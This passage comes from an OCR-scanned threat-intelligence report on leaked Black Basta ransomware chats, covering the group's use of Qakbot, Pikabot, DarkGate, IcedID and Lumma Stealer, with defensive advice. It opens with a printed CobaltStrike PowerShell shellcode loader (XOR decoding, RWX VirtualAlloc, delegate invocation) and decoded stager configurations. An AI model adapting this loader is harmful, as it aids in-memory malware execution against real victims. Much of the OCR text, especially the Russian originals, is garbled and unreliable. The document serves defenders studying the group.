OWgXXc9k1jSyMzIyNLIYNFI3RLeddwxtz2sIqtICMjIvpyckrEdEs jAyMjcHVLMbWgwdz2puNX5agkIuCm41bGe+DLgt7c3BIVFWOAEQOSFhMNFxQjACOMLW==")

for ($zz = 0; $zz -1t Sv_code.Count; S$zz++) {
Sv_code[Szz] = Sv_code[$zz] -bxor 35
}

Svar_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc)
, (func_get delegate type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))

Svar_buffer = $var_va.Invoke([IntPtr]::Zero, $Sv_code.lLength, 0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($v_code, 0, Svar_buffer, Sv_code.length)

Svar_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate type @([IntPtr

1) ([void]}))

Svar_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $Sa } -RunAs32 -Argument Smakeitso | wait-job | Receive-Job
}
else {
IEX $Smakeitso
}

In this case, decoding the Base64 data and applying XOR operation with 35 to each byte produces the following
shellcode. The shellcode contains human-readable strings. The first 16 bytes represent a typical CobaltStrike
Stager payload.
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Analysis of the shellcode extracts the following CobaltStrike configuration data. This payload behaves as an
HTTPS Stager.

"netloc": "1 47",
"path": "/Add/voip/FHECWZEINS",
"port": 443,
"headers": {
"Accept": "application/xml, application/xhtml+xml, application/json",
"Accept-Language": "ar-bh",
"Accept-Encoding": "br, gzip",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0"
}s
"inet_flags": [
"INTERNET FLAG RELOAD",
"INTERNET_FLAG_NO_CACHE_WRITE",
"INTERNET FLAG_SECURE",
"INTERNET FLAG KEEP_ CONNECTION",
"INTERNET_FLAG_IGNORE_CERT _DATE_INVALID",
"INTERNET FLAG _IGNORE_CERT_CN_INWVALID",
"INTERNET_FLAG_NO_UI"
1.
"watermark": 587247372,
"type": "HTTPS"

The chat logs also contain other PowerShell scripts with different CobaltStrike configurations, including various
HTTPS Stager and DNS Stager types.

"netloc": "aaa.

"watermark":
Ilt}fpell: II[::P'ISII
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"netloc": "1 3",

"path": "/Create/v10.58/RTYZC2PY",

"port": 443,

"headers": {
"x-authorization": "disocajdoiasjdasi",
"Accept": "application/xhtml+xml, application/json, application/xml",
"Accept-Language": "en-jm",
"Accept-Encoding": "*, br",
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0"

s

"inet_flags": [
"INTERNET_FLAG_RELOAD",
"INTERNET FLAG_NO_ CACHE WRITE",
"INTERNET_FLAG_SECURE",
"INTERNET _FLAG_KEEP_ CONNECTION",
"INTERNET_FLAG_IGNORE_CERT_DATE_INVALID",
"INTERNET FLAG_IGNORE_CERT CN_INVALID",
"INTERNET_FLAG_NO_UI"

1,

"watermark": 587247372,

"type": "HTTPS"

"netloc": "1 ol

"path": "/messages/Mdnh0aGj68GOc",

"port": 443,

"headers": {
"Accept": "*/*",
"Accept-Language": "en-US,en;g=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"X-Test": "WhtETbedfnHaxU9",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; eraybfhe; Trident/7.0; rv:11.0) like Gecko"

}s

"inet_flags": [
"INTERNET_FLAG_RELOAD",
"INTERNET_FLAG_NO_CACHE WRITE",
"INTERNET_FLAG_SECURE",
"INTERNET_FLAG_KEEP_CONNECTION",
"INTERNET_FLAG_IGNORE_CERT_DATE_INVALID",
"INTERNET FLAG_IGNORE_CERT CN_INVALID",
"INTERNET_FLAG_NO_UI"

1,

"watermark": 1158277545,

"type": "HTTPS"

These Black Basta chat logs reveal partial insights into PowerShell usage patterns.

PowerShell scripts facilitate various functions from initial reconnaissance to security setting modifications, reverse
shell deployment, and CobaltStrike execution. These capabilities demonstrate how PowerShell scripts serve as
launching points for extended attacks. Some PowerShell script code in the leaked chat logs resembles actual
Black Basta operations. These examples reinforce fundamental defensive measures that organizations should
review.




® Fine-grained restrictions on PowerShell usage
While no universal solution exists for all organizations, monitoring PowerShell usage patterns and
configuring policies per Active Directory organizational unit can reduce potential damage.

® Detection of extremely long one-liner commands and encoded arguments
PowerShell scripts used in attacks, not limited to Black Basta cases, typically exceed 100 characters as one-
liner commands. Modern EDR products often log command-line arguments, enabling detection of these
abnormally long one-liners. Establishing action plans for such detections can reduce potential damage. The
examples show CobaltStrike execution using PowerShell scripts with Base64-encoded arguments. Threat
actors frequently employ Base64-encoded arguments in PowerShell attacks. Prioritizing responses to these
patterns enables early detection and minimizes impact.

Qakbot (Qbot) / Pikabot
The chat logs reveal Black Basta's use of Qakbot (Qbot) and Pikabot. Various security vendors reported
relationships between Black Basta and these malware families before the chat log leak.

The both malware families collect information from infected computers and deliver additional payloads. Qakbot
exhibits behavior like Emotet, which impacted Japan significantly from 2020 to early 2022. Once infected, Qakbot
downloads modules from C2 servers to steal email and browser data, and to allow remote access control.
Research reports link Qakbot to distribution of Conti, REvil, and ProLocked ransomware, establishing it as a
preferred tool among ransomware groups. Pikabot functions primarily as a backdoor, executing various
commands through infected computer shells for information gathering and additional malware deployment.

This report traces the chat logs to understand threat actor interactions with these malware families and analyzes
their operational intentions.

The Qakbot takedown in late August 2023 gradually degraded its functionality as attacker infrastructure. On
October 5, 2023, a core member inquired about Qakbot's status. The conversation suggests ongoing recovery
efforts to restore and reactivate this infrastructure.
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Inquiry into Qakbot's Operational Status

Translated

2023-10-05 15:33:26,
@usernamenn:matrix.bestflowers247.online, # Is
Qakbot alive? > > At the end of August 2023, the
FBI reported the elimination of the Qakbot botnet,
which allegedly infected more than “* 700,000
computers. As Techcrunch reports
(https://techcrunch.com/2023/10/05/qakbot-
hackers-are-still-spamming-victims-despite-fbi-
takedown/), those behind the Qakbot malware
continue to send spam to new victims, according to
a new study by Cisco Talos. > > Researchers
suggest that Operation &s | "Duck Hunt" likely
affected the command and control (C2) servers, but
not the spam delivery infrastructure operated by
Qakbot operators. > > "Qakbot will continue to
pose a real threat in the future, as its developers
were not arrested and, according to Talos
estimates, continue to operate," Venere said. Talos
noted that attackers may decide to restore Qakbot
infrastructure, which would allow them to fully
resume operations.

[omitted]

2023-10-05 15:34:52,
@usernamegg:matrix.bestflowers247.online, Who
will actually restore the infrastructure remains a
mystery. yes, almost raised it all brother
2023-10-05 15:34:59,
@usernamegg:matrix.bestflowers247.online, he's
rewriting modules there

[omitted]

2023-10-05 15:35:07,
@usernamenn:matrix.bestflowers247.online, |
provide him full assistance

2023-10-05 15:35:23,
@usernamenn:matrix.bestflowers247.online, in what
way?

2023-10-05 15:35:27,
@usernamenn:matrix.bestflowers247.online, he can
do everything himself

2023-10-05 15:35:30,
@usernamegg:matrix.bestflowers247.online, | buy
servers

2023-10-05 15:35:33,
@usernamegg:matrix.bestflowers247.online, |
provide hosting

Original Text

2023-10-05 15:33:26,
@usernamenn:matrix.bestflowers247.online, # Qakbot
XmB? > > B koHUe aBrycta 2023 roga ®BP coobwmam o
nnkeuaaumm 6otHeta Qakbot, koTopbln AkobbI 3apazun
6onee ©= 700 000 komnbroTepoB. Kak coobuiaet
Techcrunch
(https://techcrunch.com/2023/10/05/qakbot-hackers-
are-still-spamming-victims-despite-fbi-takedown/) ,
CTOsLLME 32 BPefOHOCHOW nporpammoit Qakbot,
NPOAOJIKAIOT paccbinaTb CNam HOBbIM XepTBaM, 06
3TOM roBOPUTCA B HOBOM UCCNEA0BAHUN KOMMaHWM
Cisco Talos. > > Pecepuepbl npegnonaratot, 4To
onepaums ¢s | "YTvHas oxoTa" BeposiTHO 3aTpoHyna
cepsepa ynpasaeHusa n koHtpoasa (C2) , Ho He
NHOPaCTPYKTYpy AOCTaBKM Cnama ornepaTopamm
Qakbot. > > "Qakbot npogomxut npeacTaBaATh
peanbHyto yrpo3y B 6yayLuem, NOCKOIbKY ero
pa3paboTunkn He BbIIN apecToBaHbl 1, MO OLEHKaM
Talos, npogonxatoT pabotatb”, - ckazan BeHepe. B Talos
OTMETWAN, YTO 3N0YMbILUNEHHUKN MOTYT MPUHATb
peLueHne o BOCCTaHOBAeHUM MHpacTpykTypbl Qakbot,
YTO MNO3BOJINT UM MOJIHOCTbIO BO30OHOBUTL
AeATeNbHOCTb.

[omitted]

2023-10-05 15:34:52,
@usernamegg:matrix.bestflowers247.online, Kto B
peanbHOCTW ByaeT BOCCTaHaBAMBaTb MHPPACTPYKTYpPY
OCTaeTCa 3arajKkoi. ja, NoYTn NoaHANM BpaTel, BCe
2023-10-05 15:34:59,
@usernamegg:matrix.bestflowers247.online,
nepenuncbiBaeT OH TaM MOZYU

[omitted]

2023-10-05 15:35:07,
@usernamenn:matrix.bestflowers247.online, s
OKa3blBato0 €My NMOJIHO COAEeNCTBME

2023-10-05 15:35:23,
@usernamenn:matrix.bestflowers247.online, kaknm
obpazom?

2023-10-05 15:35:27,
@usernamenn:matrix.bestflowers247.online, oH xe cam
BCE MOXeT

2023-10-05 15:35:30,
@usernamegg:matrix.bestflowers247.online, cepsepa
noKymnato
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2023-10-05 15:35:37,
@usernamenn:matrix.bestflowers247.online, ah in
other places

2023-10-05 15:35:44,
@usernamegg:matrix.bestflowers247.online, | gave
him a coder who helps him deploy everything
quickly there

2023-10-05 15:35:52,
@usernamenn:matrix.bestflowers247.online, normal
2023-10-05 15:35:58,
@usernamegg:matrix.bestflowers247.online, faster
faster | tell him raise everything up

2023-10-05 15:36:04,
@usernamegg:matrix.bestflowers247.online, he
needs to rewrite a lot of stuff there

2023-10-05 15:35:33,
@usernamegg:matrix.bestflowers247.online, gato
XOCTUHIU

2023-10-05 15:35:37,
@usernamenn:matrix.bestflowers247.online, aa B
APYrnx mectax

2023-10-05 15:35:44,
@usernamegg:matrix.bestflowers247.online, kozepa
Aan KTO eMy NnomoraeT TyAa Bce HakaTblBaTb ObICTPO
2023-10-05 15:35:52,
@usernamenn:matrix.bestflowers247.online,
HOPManbHO

2023-10-05 15:35:58,
@usernamegg:matrix.bestflowers247.online, 6bicTpein
HbICTpee roBopro eMy NogHMMaKM Bce

2023-10-05 15:36:04,
@usernamegg:matrix.bestflowers247.online, emy Tam
nepenncaTb MHOTO BCErO HYXAHO

Five days later on October 10, 2023, renewed discussions about the Qakbot takedown revealed operational

inefficiencies affecting Black Basta. These exchanges demonstrate that dismantling Qakbot's infrastructure

achieved measurable impact by reducing Black Basta's operational efficiency. Comments about decreased attack

efficiency and the need for large bot volumes indicate reliance on malware infrastructure to streamline attack

operations.
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Comments on the Qakbot Takedown Article

Translated
2023-10-10 14:29:27,
@usernamegg:matrix.bestflowers247.online,

https://xakep.ru/2023/10/06/qakbot-after-duck-hunt/

2023-10-10 14:29:29,
@usernameugway:matrix.bestflowers247.online,
understood

2023-10-10 14:29:34,

@usernameugway:matrix.bestflowers247.online, yeah

I read it

2023-10-10 14:29:34,
@usernamegg:matrix.bestflowers247.online, they
want to fuck us over very badly

2023-10-10 14:29:36,
@usernameugway:matrix.bestflowers247.online, :)
2023-10-10 14:29:38,

@usernamegg:matrix.bestflowers247.online, but fuck

that won't happen
2023-10-10 14:29:53,
@usernamegg:matrix.bestflowers247.online, yes

Reduced Work Efficiency from Bot Downtime

Translated

2023-10-10 14:32:50,
@usernamegg:matrix.bestflowers247.online, and
we are working in enhanced mode

2023-10-10 14:32:54,
@usernamegg:matrix.bestflowers247.online, | have
a shortage of bots

2023-10-10 14:33:05,
@usernamegg:matrix.bestflowers247.online, then
in the new year I'll go rest again

2023-10-10 14:33:10,
@usernamegg:matrix.bestflowers247.online, for a
month

2023-10-10 14:33:19,
@w:matrixtcFJHPDbImt2rg.network, yes, of course
2023-10-10 14:33:25,
@usernamegg:matrix.bestflowers247.online, | work
intensively until December 15

[omitted]

2023-10-10 14:33:53,
@usernamegg:matrix.bestflowers247.online, work
is boiling now

Original Text
2023-10-10 14:29:27,
@usernamegg:matrix.bestflowers247.online,

2023-10-10 14:29:29,
@usernameugway:matrix.bestflowers247.online,
MOHAN

2023-10-10 14:29:34,
@usernameugway:matrix.bestflowers247.online, ara s
yuTan

2023-10-10 14:29:34,
@usernamegg:matrix.bestflowers247.online, oHn
XOTAT BblebaTb HAaC OYEHb CUIBbHO

2023-10-10 14:29:36,
@usernameugway:matrix.bestflowers247.online, : )
2023-10-10 14:29:38,
@usernamegg:matrix.bestflowers247.online, Ho xyi
NoayYmnTCs

2023-10-10 14:29:53,
@usernamegg:matrix.bestflowers247.online, aa

Original Text

2023-10-10 14:32:50,
@usernamegg:matrix.bestflowers247.online, n mbl
paboTaeM B yCUIIHOM pexunme

2023-10-10 14:32:54,
@usernamegg:matrix.bestflowers247.online, y meHs
HexBaTka 60TOB

2023-10-10 14:33:05,
@usernamegg:matrix.bestflowers247.online, notom B
HOBbIV rOZ, A OMNATb OTAbIXaTb YAy

2023-10-10 14:33:10,
@usernamegg:matrix.bestflowers247.online, Ha mecsay,
2023-10-10 14:33:19,
@w:matrixtcFJHPDbImt2rg.network, aa, koHeuHo
2023-10-10 14:33:25,
@usernamegg:matrix.bestflowers247.online, pabotato
nnaotHo go 15 aekabps

[omitted]

2023-10-10 14:33:53,
@usernamegg:matrix.bestflowers247.online, ceiuac
pabota KMnuT
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2023-10-10 14:33:57,
@usernamegg:matrix.bestflowers247.online, need
bots

2023-10-10 14:33:59,
@usernamegg:matrix.bestflowers247.online, many
2023-10-10 14:34:02,
@usernamegg:matrix.bestflowers247.online, good
software

2023-10-10 14:33:57,
@usernamegg:matrix.bestflowers247.online, Hy>Hbl
60TbI

2023-10-10 14:33:59,
@usernamegg:matrix.bestflowers247.online, MHoro
2023-10-10 14:34:02,
@usernamegg:matrix.bestflowers247.online, xopowwii
codt

The chat logs from November 14, 2023 reveal Pikabot serving as a Qakbot alternative, though delivery methods

to target systems remained under development at that time. This situation likely stems from Microsoft disabling

Office macros by default around July 2022, which complicated malware delivery to victim computers. The
conversation indicates JavaScript serves as an alternative to MS Office macro-based attacks, though with lower

success rates compared to the previous macro-based approach.

Conversation on Pikabot and Malware Distribution

Translated

2023-11-14 08:48:03,
@usernamenn:matrix.bestflowers247.online, QBOT
generally used calculator subtracted and DLL Side-
Loading

2023-11-14 08:50:53,
@usernamegg:matrix.bestflowers247.online, on VT?
2023-11-14 08:50:57,
@usernamenn:matrix.bestflowers247.online, yeah
2023-11-14 08:50:59,
@usernamenn:matrix.bestflowers247.online, virus
total

2023-11-14 08:51:06,
@usernamenn:matrix.bestflowers247.online, damn
how complex and so much shit detection depends on,
just fucking crazy

2023-11-14 08:52:06,
@usernamenn:matrix.bestflowers247.online, you have
your own shit with detects + also shit with the bot
lots of tasks and also persistence can be burned, but
it's interesting that gbot's persistence went to sleep if
the user stepped away from the computer during idle
time

2023-11-14 08:52:35,
@usernamegg:matrix.bestflowers247.online, QBOT
generally used calculator subtracted and DLL Side-
Loading yes, quite possible, bot doesn't bring money,
only expenses and lots of headaches, but there's now
iPika bot with full functionality but no dropper for

Original Text

2023-11-14 08:48:03,
@usernamenn:matrix.bestflowers247.online, QBOT
BOOLLe KanbkyaATOp UCMOAb30Ban BblumTan n DLL
Side-Loading

2023-11-14 08:50:53,
@usernamegg:matrix.bestflowers247.online, Ha VT?
2023-11-14 08:50:57,
@usernamenn:matrix.bestflowers247.online, ara
2023-11-14 08:50:59,
@usernamenn:matrix.bestflowers247.online, Bupyc
TOTan

2023-11-14 08:51:06,
@usernamenn:matrix.bestflowers247.online, nnsgey,
Kak >ke CIOXKHO M IoXys Ha YeM 3aBfi3aH JeTeKT
npocTo ebaHyTbcs

2023-11-14 08:52:06,
@usernamenn:matrix.bestflowers247.online, y Te6s
Tam CBOW Nu3sjeL, ¢ jeTekTamun + ewe nusgel, y 6oTa
A0XyA Ae10B 1 eLle 3aKpen CrasnuTcs MOXeT, HO
WHTEPEeCHO YTO y KBaka 3aKpen YXOAWA B COH ecan
t03ep OTXOAWA OT KOMIMa 3a BPeMs NpocTos
2023-11-14 08:52:35,
@usernamegg:matrix.bestflowers247.online, QBOT
BOOLLEe KanbkKyaAaTOp UCNOAb30Ban BblvmTan n DLL
Side-Loading ga, BNo/He BO3MOXHO , 60T He HeceT
AEHer , TONIbKO Pacxo/bl U reMOpOsA MHOTO, HO eCTb
ceryac 60T iPika c noaHbIM QYHKLMOHANOM HO HET
Aponnepa 414 cnama TOT KOTopblin ByaeT 3aneTathb B
MHOOKC M TAHYTb HaLlly Harpysky.
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spam the one that will land in inbox and pull our
payload.

2023-11-14 08:52:51,
@usernamegg:matrix.bestflowers247.online, |
assembled pika to be a replacement for gbot and it
worked out

2023-11-14 08:53:15,
@usernamenn:matrix.bestflowers247.online, yeah not
bad that it worked out, just yeah the dropper is a
problem

2023-11-14 08:53:20,
@usernamegg:matrix.bestflowers247.online, yes
2023-11-14 08:53:23,
@usernamegg:matrix.bestflowers247.online, | have
9:51 now wow

2023-11-14 08:53:27,
@usernamegg:matrix.bestflowers247.online, But |
have -2 hours from MSK | think | understood
2023-11-14 08:53:29,
@usernamenn:matrix.bestflowers247.online, but
dropper is essentially the same loader without
persistence and without information collection
2023-11-14 08:54:10,
@usernamegg:matrix.bestflowers247.online, but
dropper is essentially the same loader without
persistence and without information collection yes,
inbox main thing is that it lands and runs our dll and
exe

2023-11-14 08:54:31,
@usernamenn:matrix.bestflowers247.online, and JS
doesn't work anymore or what?

2023-11-14 08:54:52,
@usernamegg:matrix.bestflowers247.online, and JS
doesn't work anymore or what? works well, but fewer
and fewer people run it

2023-11-14 08:52:51,
@usernamegg:matrix.bestflowers247.online, s nuky
cobpan uTo 6bI HblNa 3aMeHa KBaKy M MOAYYMIOCh
2023-11-14 08:53:15,
@usernamenn:matrix.bestflowers247.online, ga
HeLUTAK YTO MOAYYMIOCh, TONBKO Aa C APOMNepoM
beaa

2023-11-14 08:53:20,
@usernamegg:matrix.bestflowers247.online, aa
2023-11-14 08:53:23,
@usernamegg:matrix.bestflowers247.online, y meHs
ceivac 9:51 oro

2023-11-14 08:53:27,
@usernamegg:matrix.bestflowers247.online, Ho y
MeHs -2 yaca oT MCK Bpoge noHan

2023-11-14 08:53:29,
@usernamenn:matrix.bestflowers247.online, Ho
Aponnep e No CyTu TOT XKe caMbli 1oajep 6e3
3akpena un 6e3 cbopa MHPopmaLum

2023-11-14 08:54:10,
@usernamegg:matrix.bestflowers247.online, Ho
Apornnep e No CyTu TOT Xe caMblvi 10ajep 6e3
3akpena v 6e3 cbopa MHbopMauunn aa, MHOOKC
rnaBHoe uTo Obl 3aneTan 1 3anyckan Haly AN U exe
2023-11-14 08:54:31,
@usernamenn:matrix.bestflowers247.online, a JS He
paboTaert yxe uto an?

2023-11-14 08:54:52,
@usernamegg:matrix.bestflowers247.online, a JS He
paboTaet yxe uTo n? paboTaeT XOpPOLLO, HO ero Bce
MeHblLLIe 3anycKaoT

These exchanges confirm Pikabot's emerging role as Qakbot's replacement within Black Basta operations.

Security products increasingly detect Qakbot, reducing operational efficiency and ransomware attack success

rates, thereby eliminating financial incentives.

Another conversation reveals Pikabot development required one year, suggesting consideration of Qakbot

alternatives began during that period.
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Conversation on Pikabot's Development

Translated

2023-10-24 09:18:17,
@usernamegg:matrix.bestflowers247.online, Cortes -
this is the creator of gbot, he has a reverser's brain
[omitted]

2023-11-14 08:52:51,
@usernamegg:matrix.bestflowers247.online, |
assembled pika to be a replacement for gbot and it
worked out

[omitted]

2024-04-15 10:52:26, @nickolas:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> but
still I'll use it for the point for now Are you talking
about the dropper or about pikabot?))

2024-04-15 10:53:08,
@usernamegg:matrix.bestflowers247.online, about
the dropper

2024-04-15 10:53:42,
@usernamegg:matrix.bestflowers247.online, so pika
took me a year

2024-04-15 10:53:48,
@usernamegg:matrix.bestflowers247.online,
development

Original Text

2023-10-24 09:18:17,
@usernamegg:matrix.bestflowers247.online, Cortes -
3TO co3AaTenb kBak 60Ta, y Hero Mo3r pesepcepa
[omitted]

2023-11-14 08:52:51,
@usernamegg:matrix.bestflowers247.online, s nuky
cobpan uTo bbl BblNA 3aMeHa KBaKy M NOJYYMI0Ch
[omitted]

2024-04-15 10:52:26, @nickolas:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> Ho Bce
PaBHO A ero Noj To4ky noka 6yay nonb3osathb Tbl
npo gponnep nan npo nukabora?))

2024-04-15 10:53:08,
@usernamegg:matrix.bestflowers247.online, npo
Aponnep

2024-04-15 10:53:42,
@usernamegg:matrix.bestflowers247.online, BoT Ha
MWKY Y MEHS YLLNO rog,

2024-04-15 10:53:48,
@usernamegg:matrix.bestflowers247.online,
pa3paboTtka

On May 3, 2024, the chat logs mention refining Pikabot to make it more effective.

Conversation Indicating the Redevelopment of Pikabot

Translated

2024-05-03 16:32:42,
@n3auxaxl:matrix.collectionofmanager.space, and yes,
if anything, after summer it will no longer be pika, it
will be called differently, | will completely rewrite
everything, there will be a slightly different bot
paradigm, it will work fundamentally differently, I'll
make it simultaneously convenient and with you
could say part of the capabilities like koba has

Original Text

2024-05-03 16:32:42,
@n3auxaxl:matrix.collectionofmanager.space, v aa,
ec/v 4To nocne neta ByaeT yxxe He nvka, byaert no
APYroMy HasblBaTbCA, A NONHOCTbIO BCe Byay
nepenvcblBaTh, byaeT Apyras napagvrma 6oTa uyTka,
OH ByzeT KapAnHa bHO Mo ApyromMy paboTats,
cAenaro ero o4HOBPEeMEHHO YA06HbIM U C MOXHO
CKa3aTb 4aCTbo BO3MOXOCTEN KaK Y KOObl
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® Leveraging malware to streamline attack operations
The chat logs regarding Qakbot and Pikabot reveal Black Basta's effective use of these bots for efficient
attack operations. The Qakbot takedown caused several months of reduced operational efficiency and
necessitated recovery efforts. Security products increasingly detected Qakbot itself, prompting
development of Pikabot as an alternative solution. The chat logs suggest ongoing efforts to enhance this
replacement tool. These findings demonstrate Black Basta possessed advanced capabilities beyond simple
ransomware deployment, including development of new tools to maintain attack infrastructure.

® Preventing initial compromise as a defensive priority
Gaining initial access is important for post-exploitation from threat actor's perspective. Defensive success
at this stage determines whether subsequent compromise occurs. The conversations reveal Black Basta's
struggles to develop dropper alternatives following the MS Office macro restrictions. Droppers function
merely as simple loaders for malware payloads, yet successful execution delivers the main malware
(Qakbot or Pikabot in these cases) to victim systems. This initial access enables lateral movement,
CobaltStrike deployment, data exfiltration, and ultimately ransomware attacks. The leaked chat logs
documenting operational challenges reinforce the critical importance of preventing initial access.
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Use of Other Malware Families

While receiving less attention than Qakbot or Pikabot, Black Basta discussed other malware families. This section
examines conversations about DarkGate, IcedID, and Lumma Stealer.

The following exchange concerned DarkGate. Though not explicitly stated, the conversation indicated use of

multiple loaders for operations. The discussion showed concern about how security researchers identified

connections between Qakbot/Pikabot and DarkGate.

Inquiry into DarkGate

Translated

2023-11-22 09:05:09,
@usernamenn:matrix.bestflowers247.online, what is
DarkGate?

2023-11-22 09:05:59,
@usernamegg:matrix.bestflowers247.online, the
second loader that we use

2023-11-22 09:06:03,
@usernamenn:matrix.bestflowers247.online,
interesting how they connected DarkGate and PikaBot
together with QBot

2023-11-22 09:06:28,
@usernamegg:matrix.bestflowers247.online, we
currently use two loaders for work mine and darkgate
2023-11-22 09:06:39,
@usernamenn:matrix.bestflowers247.online, The
similarity of PikaBot to QakBot was noted by analysts
based on identical distribution methods, campaigns
and malware behavior.

2023-11-22 09:06:42,
@usernamenn:matrix.bestflowers247.online, got it

Original Text

2023-11-22 09:05:09,
@usernamenn:matrix.bestflowers247.online, uto 3a
DarkGate?

2023-11-22 09:05:59,
@usernamegg:matrix.bestflowers247.online, BTopon
Nnoazep KOTOPbIV Mbl UCMOb3YEM

2023-11-22 09:06:03,
@usernamenn:matrix.bestflowers247.online,
NHTepecHo Kak oHu ceazanun DarkGate n PikaBot
BMecTe ¢ QBot

2023-11-22 09:06:28,
@usernamegg:matrix.bestflowers247.online, Mbl
ncnonb3yem ceinyac ans pabotbl ABa noasepa Mov 1
faprent

2023-11-22 09:06:39,
@usernamenn:matrix.bestflowers247.online,
Cxopcteo PikaBot ¢ QakBot 66110 0TMeuUeHo
aHaIMTMKaMMN UCXOASA N3 OANHAKOBLIX METOA0B
pacnpoOCTPaHeHWs, KaMMaHUN 1 NOBEAEHWS
BPEAOHOCHbLIX MPOrpamMm.

2023-11-22 09:06:42,
@usernamenn:matrix.bestflowers247.online, Bot
NOHAN

The next exchange addressed IcedID. The word 'Anubis' appeared frequently in conversations, as Black Basta
internally referred to IcedID by this codename. The discussion suggested IcedID served as another Qakbot

alternative.
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Conversation on lcedID

Translated

2023-10-17 08:18:00,
@lapa:matrix.bestflowers247.online,
Trojan:Win64/IcedID.EIIMTB

2023-10-17 08:18:10,
@usernamegg:matrix.bestflowers247.onling, is this
anubis?

2023-10-17 08:18:15,
@lapa:matrix.bestflowers247.online, yes

[omitted]

2023-10-31 12:03:29,
@usernamegg:matrix.bestflowers247.online,
[13:55:07] AA: > we can settle now for a month, and
when we issue, then further pay yes, give wallet
[13:55:10] AA: in the end 3k?

[13:55:13] AA: or 4k?

[13:59:31] bublegun - Anubis botnet: 4

[13:59:40] bublegun - Anubis botnet: we'll take
everything for a quarter ourselves

[14:00:04] bublegun - Anubis botnet: these
consumables are on us

[14:00:05] bublegun - Anubis botnet: <Masked:
Cryptocurrency Wallet>

[14:39:11] AA: <Masked: Cryptocurrency Transaction
ID>

[14:39:20] bublegun - Anubis botnet: +

[omitted]

2023-11-07 11:25:21,
@usernamegg:matrix.bestflowers247.online, we have
a new bot now

2023-11-07 11:25:30,
@usernamegg:matrix.bestflowers247.online, for now
without keylogger and loader

2023-11-07 11:25:35,
@usernamegg:matrix.bestflowers247.online, now I'm
linking everything to it

2023-11-07 11:25:40,
@usernamegg:matrix.bestflowers247.online, iPika
name

2023-11-07 11:25:45,
@usernamegg:matrix.bestflowers247.online, | wrote it
myself with a programmer

2023-11-07 11:25:56,
@usernamegg:matrix.bestflowers247.online, FBI took
gbot

Original Text

2023-10-17 08:18:00,
@lapa:matrix.bestflowers247.online,
Trojan:Win64/IcedID.EIIMTB

2023-10-17 08:18:10,
@usernamegg:matrix.bestflowers247.online, 3to
aHybwuca?

2023-10-17 08:18:15,
@lapa:matrix.bestflowers247.online, aa

[omitted]

2023-10-31 12:03:29,
@usernamegg:matrix.bestflowers247.online,
[13:55:07] AA: > MOXeM pacumnTaTbcs celyac 3a
MecsL, a Kak BblAaAnM, yXXe Aasblue Nponantute Aa,
JlaBali Kolle/b

[13:55:10] AA: B ntore 3k?

[13:55:13] AA: nan 4k?

[13:59:31] bublegun - AHybuc 60THeT: 4

[13:59:40] bublegun - AHy6uc 60THeT: BCe camu
BO3bMeM Ha KBapTan

[14:00:04] bublegun - AHybuc 60THET: 3Tn
PaCXOAHWKM Ha Hac

[14:00:05] bublegun - AHy6uc 6oTHeT: <Masked:
Cryptocurrency Wallet>

[14:39:11] AA: <Masked: Cryptocurrency Transaction
ID>

[14:39:20] bublegun - AHybuc 60THeT: +

[omitted]

2023-11-07 11:25:21,
@usernamegg:matrix.bestflowers247.online, y Hac
cerlyac HOBbIV 60T

2023-11-07 11:25:30,
@usernamegg:matrix.bestflowers247.online, noka 6e3
Kehnoarepa v noagepa

2023-11-07 11:25:35,
@usernamegg:matrix.bestflowers247.online, ceiuac
NpVBA3bIBaato BCe K HEMY

2023-11-07 11:25:40,
@usernamegg:matrix.bestflowers247.online, iPika
Ha3BaHwue

2023-11-07 11:25:45,
@usernamegg:matrix.bestflowers247.online, s cam
€ro nvcan c Nporepom

2023-11-07 11:25:56,
@usernamegg:matrix.bestflowers247.online, kBak
60Ta 3abpanun Gbp
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2023-11-07 11:26:01,
@usernamegg:matrix.bestflowers247.online, now its
author is rebuilding it

2023-11-07 11:26:05,
@usernamegg:matrix.bestflowers247.online, there's
also anubis

2023-11-07 11:26:08,
@timber:matrix.bestflowers247.online, | got a bit
confused and forgot how what works here
2023-11-07 11:26:09,
@usernamegg:matrix.bestflowers247.online, now
giving access there

2023-11-07 11:26:01,
@usernamegg:matrix.bestflowers247.online, ceiuac
nepenosHMMaeT ero aBTop

2023-11-07 11:26:05,
@usernamegg:matrix.bestflowers247.online, ectb ewwe
aHyabuc

2023-11-07 11:26:08,
@timber:matrix.bestflowers247.online, A HeMHoro
3anyTancs v NoA3abbln Kak TyT Yero

2023-11-07 11:26:09,
@usernamegg:matrix.bestflowers247.online, ceiuac

AaTy TyAa foctyn

This exchange detailed attack flows using Lumma Stealer. Chat participants outlined the basic attack flows while
indicating phone calls supplemented the discussion details.

Attack Flow with Lumma Stealer

Translated

2024-06-13 20:17:04,
@usernameyy:matrix.bestflowers247.online, update
amdc update?2 socks update3 hvnc update4 cobalt
2024-06-13 20:17:26,
@usernamegg:matrix.bestflowers247.online, update
amdc no there should be stealer

2024-06-13 20:17:38,
@usernameyy:matrix.bestflowers247.online, Lumma?
2024-06-13 20:17:40,
@usernamegg:matrix.bestflowers247.online, Lumma
2024-06-13 20:17:42,
@usernamegg:matrix.bestflowers247.online, yes
2024-06-13 20:17:44,
@usernameyy:matrix.bestflowers247.online, ok now
2024-06-13 20:19:34,
@usernameyy:matrix.bestflowers247.online,
update.zip

2024-06-13 20:19:57,
@usernamegg:matrix.bestflowers247.online, update
Lumma update2 socks update3 hvnc update4 cobalt
2024-06-13 20:20:00,

@usernamegg:matrix.bestflowers247.online, like this?

[omitted]
2024-06-18 15:43:44,

@usernameugway:matrix.bestflowers247.online, we're

calling in general

Original Text

2024-06-13 20:17:04,
@usernameyy:matrix.bestflowers247.online, updatel
